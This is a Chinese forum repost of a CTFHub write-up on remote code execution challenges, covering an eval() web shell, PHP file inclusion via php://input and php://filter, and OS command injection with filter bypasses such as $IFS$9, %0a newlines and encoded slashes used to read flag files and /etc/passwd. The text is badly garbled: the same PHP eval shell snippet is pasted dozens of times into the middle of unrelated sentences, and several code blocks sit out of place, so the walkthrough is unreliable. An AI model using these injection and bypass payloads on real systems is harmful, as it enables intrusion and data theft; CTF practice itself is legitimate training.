IT评测·应用市场-qidao123.com
标题:
CTFHub-RCE漏洞wp
[打印本页]
作者:
莫张周刘王
时间:
2025-2-12 11:15
标题:
CTFHub-RCE漏洞wp
弁言
题目共有如下类型
什么是RCE漏洞
RCE漏洞,全称是
Remote Code Execution
漏洞,翻译成中文就是
远程代码执行
漏洞。顾名思义,这是一种安全漏洞,允许攻击者在受害者的系统上远程执行恣意代码
eval执行
分析源码:
<?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?>
复制代码
执行命令查看当前目次
?cmd=system("ls");
复制代码
查看根目次或者上级目次一个一个查找
?cmd=system("ls /");
?cmd=system("ls ../../../");
复制代码
发现flag文件
cat /flag_8751
即可
文件包含
文件包含
源码审计
<?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <hr>i have a [url=https://www.cnblogs.com/shell.txt]shell[/url], how to use it ? <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> //提示有个shell.txt文件,内容为
复制代码
利用文件包含读取
shell.txt
先了解一下
$_REQUEST
函数,是PHP 中一个非常方便的超级全局变量,它处理来自用户输入的数据。详细来说,$_REQUEST 变量包含了通过
GET
、
POST
和
COOKIE
方法传递的数据 ,所以可以利用
POST或cookie
传入
ctfhub
变量
查看
根目次
查找
flag
php://input
源码分析
<?php
if (isset($_GET['file'])) { //检查是否存在file参数
if ( substr($_GET["file"], 0, 6) === "php://" ) { //检查参数前6位是否为 php:// ,是则执行
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
// 给了应该phpinfo.php超链接
复制代码
查看
phpinfo.php
文件,发现此处
抓包
构造命令执行
,因为有
php://input
,故会执行传入的
php代码
查看
flag
这里也可以利用
php伪协议
,会得到一串
base64加密的flag
,解密即可
或者:
读取源代码
源码审计
i don't have shell, how to get flag? flag in /flag <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> //flag在根目次
复制代码
php伪协议
读取flag
?file=php://filter/read=/resource=/flag
复制代码
远程包含
源码审计
[/code]给了一个[b]phpinfo()[/b]界面,根据题目提示,还是文件包含题,抓包利用[b]php;//input[/b]读取
查看[b]根目次[/b]
[align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250208180906252.png[/img][/align]
读取[b]flag[/b]
[align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250208181001573.png[/img][/align]
[size=5]命令注入[/size]
[list]
[*]这里需要了解一下常见的命令分隔符
[*][b]; :[/b] 无论前面是否执行,后面都执行
[*][b]||(逻辑或):[/b]前命令失败执行后命令,假如前命令成功则不执行后命令
[*][b]| :[/b]前者结果作为后者参数使用
[*][b]&& :[/b]前命令成功执行后命令,假如失败则不执行后命令
[*][b]\n:[/b]换行符,url编码%0a
[*][b]%0a[/b] <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> (换行)
[*][b]%0d[/b] <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> (回车)
[/list][size=4]无过滤[/size]
没有做任何过滤
先[b]ping[/b]一下
[align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209120831022.png[/img][/align]
查看[b]该目次[/b],使用 [b]127.0.0.1; ls[/b] 也是可以的
[align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209120910155.png[/img][/align]
查看[b]26398804916519.php[/b]
[code]127.0.0.1 | cat 26398804916519.php
复制代码
发现
flag
过滤cat
查看源码:
[/code]先查看当前目次,得到flag文件 <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> flag_11971489425983.php
[align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209123050233.png[/img][/align]
这里介绍几个绕过空格的方法
[code]$IFS$9 <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> %09 <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> < <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> {cat,flag}
复制代码
可以绕过空格
$IFS$9 %09 <> < {cat,flag}
复制代码
过滤目次分隔符
几种常见的 / 符号绕过方法
改变工作目次:cd xxx <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> 避免使用 / 符号环境变量截取: ${PATH:0:1} <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> ${HOME:0:1}编码绕过:8进制: $(printf "\57") <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> 16进制: $'\x2f' <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> $'\57'调用命令生成:a=$(printf "/"); cat ${a}etc${a}passwd <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> cat <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> `echo /`etc`echo /`passwd通配符替换(部分路径已知):/???/cat /???/passwd <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> //匹配 /bin/cat利用反斜杠:cat \/etc\/passwd协议替换:file_get_contents('glob:///*');
复制代码
提示:
源码
[/code]查看当前目次
[align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209163512670.png[/img][/align]
进入该目次并查看
[align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209163601247.png[/img][/align]
执行以下命令读取flag文件
[code]<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) { //过滤了 / 符号
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
复制代码
得到flag
过滤运算符
查看源码,可以利用
;
绕过
[/code]查看当前目次
[align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209170350520.png[/img][/align]
执行以下命令
[code]<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||\&)/", $ip, $m)) { //利用正则匹配过滤了 | 和 &
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
复制代码
得到flag
综合过滤训练
源码审计
[/code]利用换行符[b]%0a绕过[/b]查看当前目次
[align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209171041032.png[/img][/align]
查看根目次,没有有用信息,flag应该存在[b]flag_is_here[/b]目次下
[align=center][img]https://track123.oss-cn-beijing.aliyuncs.com/20250209171243444.png[/img][/align]
执行以下命令
[code]?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0als <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> //flag被过滤,需要绕过
复制代码
查看该flag
?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0anl$IFS$9f\lag_172132798218075.php <?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?> //绕过cat
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
欢迎光临 IT评测·应用市场-qidao123.com (https://dis.qidao123.com/)
Powered by Discuz! X3.4